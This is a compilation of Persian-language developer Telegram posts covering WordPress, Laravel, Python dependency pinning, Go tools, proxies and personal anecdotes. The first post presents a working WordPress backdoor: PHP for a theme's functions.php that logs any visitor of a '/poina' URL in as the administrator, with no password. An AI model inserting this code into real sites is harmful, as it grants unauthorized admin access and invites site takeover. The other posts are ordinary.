بکدور های مدرن وردپرس (قسمت اول) ورود بدون پسورد و نام کاربری

از گذشته تا کنون بکدور های وردپرس پیشرفته و پیشرفته تر شدن اما به مرور زمان پیدا کردن و شناسایی بکدور ها سخت و سخت تر شده در قسمت هایی میخواهیم به بررسی بکدور های جدید وردپرس بپرداریم و ببینم چه اتفاقاتی افتاده

بکدور اول : این کد رو فاکشن قالب خودتون بزارید و جای عدد 1 آیدی ادمین وردپرستون رو قرار بدید

function auto_login_via_url() { if (!is_user_logged_in()) {if (isset($_SERVER['REQUEST_URI']) && $_SERVER['REQUEST_URI'] == '/poina') {$user_id = 1;wp_set_auth_cookie($user_id, true);wp_redirect(home_url());exit(); }}}add_action('init', 'auto_login_via_url');

سپس هر سایتی دارید این لینک رو باز کنید

site.com/poina

جای site.com آدرس سایت خودتون بزارید

میبنید که بدون هیچ پسورد و نام کاربری به پیشخوان وردپرس لاگین میکنید البته وقت بشه راه های جلوگیری هر کدوم رو تک تک میگیم

@poinair پوینا

github.com/ayhan-dev/bot_telegram_php

فردا نسخه جدید v.2.2 عرضه میشه
ساعت 5 بعد از ظهر میتونید از طریق ترمینال آپدیت کنید

prol update bot_telegram_php th47yfyk

نظری پیشنهاد داشتید بگید

@Ayhan_dev

در لاراول، میتونیم یک متود ماکرو به نام response()->api() بسازیم که response های JSON رو ساده‌تر کنه !

این کار به ما کمک میکنه تا تمام response ها یک فرمت مشخص داشته باشن و دیتایی مثل message و status رو به راحتی اضافه کنیم.
با این متود کدمون منظم‌تر و مدیریتش هم راحت‌تر میشه، response ها ساختاره مشخصی دارن و همچنین میتونه در کاهش خطاها کمک کنه.
#laravel
@GoldenCodeir
(به منبع و مثالش دقت کنین👇🏾)
https://x.com/_newtonjob/status/1846642149766713372?t=lpRqAAcK8krM_ngIIS1MDQ&s=35

🔶 ۱۱ سال از راه اندازی وب سایت وایرناب می گذره


https://www.wirenab.ir/

این وب سایت در ۱۱ سال پیش که راه اندازی کردم و در یک سال بعد به ارزش ۱۵۰۰۰۰ تومان فروختم.

با همان ظاهر قالب صحیفه و وردپرس نسخه ۴ هست و صاحب این وب سایت هیچ وقت محتوا به روز نکرده و به حال خود رها کرده است.

چه زود گذشت.

#وردپرس

@TheRaymondDev

به هیچی دست نزدی ولی یهو بعد از یه مدت، کل سیستم Fail میشه و هیچی درست کار نمی‌کنه!!

یه مشکل خیلی عجیب توی یه سری از اکشن‌هایی که با pyaction نوشته بودم رخ داد و اونم این بود که اکشن بدون هیچ دلیلی موقع نصب requirementها Fail می‌شد! عملا به هیچی دست نزده بودم.

مشکل رو می‌گم، خودتون بسطش بدید و سعی کنید خیلی توی اینجور موارد حواستون باشه. من توی اکشن‌ها از داکر ایمیج python:3-slim استفاده می‌کنم. سبک و سریعه و بدون مشکل روی رانر گیت‌هاب میاد بالا. مشکل از این قراره که تا ۲-۳ هفته پیش، این ایمیج پایتون ۳.۱۲ رو نصب می‌کرد و بدون مشکل dependencyها نصب می‌شدن. بعد از استیبل شدن پایتون ۳.۱۳ یهو این ایمیج تصمیم می‌گیره که سوییچ کنه روی این نسخه و روی رانر، پایتون ۳.۱۳ رو نصب کنه. خب تا اینجاشم اوکیه. (چون پایتون ۴ نیس. 😁)

این تغییر به ظاهر اوکیه ولی یک سری از requirementهایی که داریم یکم low-levelتر هستن و بخش‌هاییشون ممکنه با راست نوشته شده باشه، کامپایل کد سی باشه حتی که باعث میشه اون نسخه خاص از پکیج صرفا با پایتون ۳.۱۲ هم‌خوانی داشته باشه و نه چیز دیگه‌ای واسه همین موقع نصب، به مشکل می‌خورد و کل ورکفلو Fail میشد.

نتیجه:
سعی کنید دپندنسی‌هاتون رو اینجوری ننویسید:

foo
baz
bar

اینطوری بنویسید:

foo == 1.2.3
bar >= 1.2
baz ~= 1.2.1

یا مثلا توی مورد من، بهتر بود که داکرفایلم اینطوری شروع میشد:

FROM python:3.12-slim

نه اینجوری:

FROM python:3-slim

تشخیص خودکار حرکت و عکاسی

برنامه ای جالب با پایتون توسط استاد داریوش تصدیقی برای ایجاد یک موشن دیتکتور در اتاق کار!
با هر وبکم به راحتی این برنامه رو به کار بندازین و تغییرات اتاق رو عکاسی و نگهداری کنید!

https://t.iss.one/DT_PYTHON_LEARNING/137

🔶 چگونه محتوای مربوط به Post Type و Post در آرشیو وردپرس نمایش دهیم؟

کد زیر :

<?php
    if(is_post_type_archive( 'course' ) || is_tax('course_cat') || is_tax('course_tag')){
        $args=array(
            'post_type'=>'course',
            'posts_per_page'=>10
        );
        $loop = new WP_Query($args); 
        while($loop->have_posts()) { 
            $loop->the_post();
?>
    For Post Types.
<?php  }  
    }elseif(have_posts()){
        while(have_posts()){
            the_post(); 
?>
    For Posts.
<?php  }
    }
?>

این کمک می کند که محتوایی مخصوص Post و Post Type با طراحی مختلف باکس ها نمایش دهید.


#وردپرس

@TheRaymondDev

‏یه دوستی دارم یه طوری بهم میگفت اره مونگو و ند روی تعداد یوزر بالا کم میاره که یک سال باورم شده بود و سمت مونگو برای nodejs نرفتم .

الان دارم می بینم احمق در جریان ایندکس کردن ها نبوده

<یه جورایی V هستم📸/>

@DevTwitter

‏چند روز پیش دیدم یکی پرسیده چرا اکثر برنامه نویس ها دوست دختر ندارن؟!!

از درگیری های ذهنی برنامه نویسا همین بس که تو حموم داشتم واسه خودم داریوش میخوندم یهو یه راه حل برای یه باگ به ذهنم اومد، جواب هم داد

لامصب سیستمو خاموش میکنی ولی پروژه تو مغزت هنوز بازه :/

<میلادِ کم سعادت/>

@DevTwitter

🔵 عنوان مقاله
bed: A Binary/Hex Editor Written in Go

🟢 خلاصه مقاله:
مقاله موردنظر درباره یک ویرایشگر باینری است که با زبان برنامه‌نویسی Go نوشته شده و دارای رابط کاربری شبیه به Vim است. این ابزار در ترمینال‌ها اجرا می‌شود و به دلیل ساختار مبتنی بر Go، قابلیت حمل بالایی دارد و عملکرد سریعی را ارائه می‌دهد. یکی از ویژگی‌های برجسته‌ی این ویرایشگر، قابلیت تقسیم پنجره است که به کاربران این امکان را می‌دهد که بتوانند چندین فایل یا بخش‌های مختلف یک فایل را به طور همزمان مشاهده و ویرایش کنند. این ویژگی‌ها آن را به یک ابزار مفید و کارآمد برای توسعه‌دهندگانی تبدیل می‌کند که با داده‌های باینری کار می‌کنند و نیازمند ابزاری قدرتمند برای مدیریت و تحلیل این نوع داده‌ها هستند.

🟣لینک مقاله:
https://golangweekly.com/link/160505/web

➖➖➖➖➖➖➖➖
👑 @gopher_academy

امروز ی مقاله جالبی درباره پترن API Composition می‌خوندم که میاد چندین سرویس بک اند رو در یک API مونولیثیک ادغام می‌کنه و این باعث بهبود دسترسی به داده، مدیریت پذیری و انعطاف پذیری کلاینت فراهم می کند.

در حالت سنتی کلاینت میاد چندین سرویس رو به طور مستقل صدا میزنه که این باعث ایجاد تاخیر و نیاز به مدیریت خطا در کلاینت... میشه و مشکلات خاص خودش رو داره.

پترن API Composition وقتی نیازه که می خواهید داده های مختلف رو از سرویس های مختلف رو جمع کنید و با ترکیب API ها به یک Endpoint واحد چالش رو حل کنید.

از مزیت های این پترن:
افزایش قابلیت کشف و ثبات قابلیت‌ها
جداسازی تولیدکنندگان و مصرف‌کنندگان داده
هماهنگ‌سازی متمرکز
توسعه سریع و استفاده مجدد از قابلیت‌ها

@DevTwitter | <Mohammad Abdorrahmani/>

اگه کانفیگ های v2ray که پول هم دادی براش کار نمیکنه این پست رو چک کن:

https://t.iss.one/normal_developer/25

@syntax_fa

البته برای برنامه‌های الکترونی نادان مثل دیسکورد باید این روش رو برید:

 http_proxy=socks5://127.0.0.1:1080 https_proxy=socks5://127.0.0.1:1080 /opt/discord/Discord --proxy-server="socks5://127.0.0.1:1080"

یادتون نره پورت‌هاشو عوض کنید :)


@SohrabContents

ابزارهایی که Astral درست کرده، معنی واقعی پکیجه.

uv = virtualenv + pip + pyenv
ruff = flake + black + isort
rye = uv + ruff + twine + ...

توی سرعت که حرف ندارن و واقعا کار میکنن! 🤟

Astral: https://github.com/astral-sh

ایشالا که باگ کش توییتره.. 😂

بارها اهمیت و قدرت استفاده صحیح از کلمات را گوشزد کردیم (مثلا اینجا و اینجا). نکته جالب این ویدئو این هست که اهمیت این موضوع را اونقدر پررنگ می کنه که می تونه روی #سبک_زندگی افراد و حس رضایت درونی از مسیر زندگی تاثیر باورکردنی بذاره. متاسفانه بدلیل عدم امکان کنترل #تضاد_منافع در ابعاد مختلف جوامع بشری، هر شخص (حقیقی، حقوقی، ماشین(AI)) در جهت افزایش ارزش های خودش قدم میذاره و متاسفانه در اکثر اوقات بدست آوردن ارزش ها توسط یک شخص، باعث از دست رفتن ارزش توسط یک شخص دیگر می شود. این موضوع به شکل علمی در #نظریه_بازی (ویکی پدیا) با عنوان #بازی_مجموع_صفر (ویکی پدیا) شناخته میشه که می تونید بیشتر مطالعه کنید. البته که خیلی از موارد مطرح شده در این بخش ها، به حوزه #فلسفه_اخلاق میره و صحبت کردن در موردش خیلی سخته چون خیلی بسته به #مدل_ذهنی و نظام ارزش‌های اخلاقی داره و بدون تبیین بیشتر موضوعات مرتبط خیلی سخت هست در مورد این موضوعات صحبت کنیم. پیشنهاد می کنم این پادکست را گوش بدید.

در انتها یادتون باشه زندگی (از نگاه نظریه بازی) واقعا یک بازی هست، پس هوشمندانه بازی کنیم!

#شاید_موقت

رفتم بانک سپه حساب باز کنم، طرف گفت ما دیگه حساب فیزیکی باز نمیکنیم. باید بری مجازی باز کنی

گفتم اوکی. اپلیکیشن بانک امید رو نصب کردم و از لحاظ ui و ux یه شاهکاری زده بودند که مسئول شعبه هم گردن نمیگرفت.

بعد از اینکه مراحل رو رد کردم و موقع افتتاح حساب شد، گفت خب ببین احراز هویتت رو که آنلاین انجام دادیم، کارمزدم که باید بدی و هزینه ی پستم هست :)))

یه فاکتور صادر کرد. گفتیم اقا اینم اوکی بریم مرحله بعدی. هرچی صبر کردم دیدم خبری از افتتاح حساب نیست. به مسئول شعبه گفتم پس چیشد؟ زنگ زد پیگیری کرد گفت سامانه قطع شده، صبر کن حسابتو دستی بسازیم😭

بعد از کاغذ بازی های بانکی و گرفتن دوباره ی فی و کارمزد یه حساب فیزیکی ساخت تا حساب دیجیتال فعال شد :)))))

احساس میکنم ازم دزدی شده 😂😂😂